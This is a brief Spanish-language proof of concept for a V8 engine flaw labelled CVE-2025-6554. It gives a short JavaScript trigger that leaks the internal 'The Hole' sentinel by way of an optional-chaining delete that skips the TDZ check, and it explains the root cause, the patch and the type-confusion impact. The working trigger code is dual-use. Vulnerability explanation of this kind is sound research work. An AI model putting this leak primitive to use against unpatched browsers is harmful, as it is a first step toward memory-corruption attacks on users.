
Prueba de concepto de explotación para una vulnerabilidad del motor JavaScript V8 (CVE-2025-6554) que demuestra una evasión de TDZ que filtra el centinela 'The Hole', lo que permite confusión de tipos y posible corrupción de memoria.
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
Se accedió a la variable y antes de su declaración. Normalmente esto debería desencadenar un ReferenceError (TDZ), pero en versiones antiguas de V8, al combinarlo con delete x?.[y], la comprobación fallaba y devolvía el valor centinela interno "The Hole".
V8 solo verificaba el TDZ una vez, y luego asumía incorrectamente que y era válida. Esto permitía que "The Hole" escapara al código de usuario.
El parche fuerza una nueva comprobación de TDZ (ThrowReferenceErrorIfHole) en cada acceso, asegurando que y antes de la inicialización siempre lance una excepción.
Impacto: Los atacantes podían capturar "The Hole" y abusar de él para confusión de tipos, trucos de pila o evasiones de ámbito.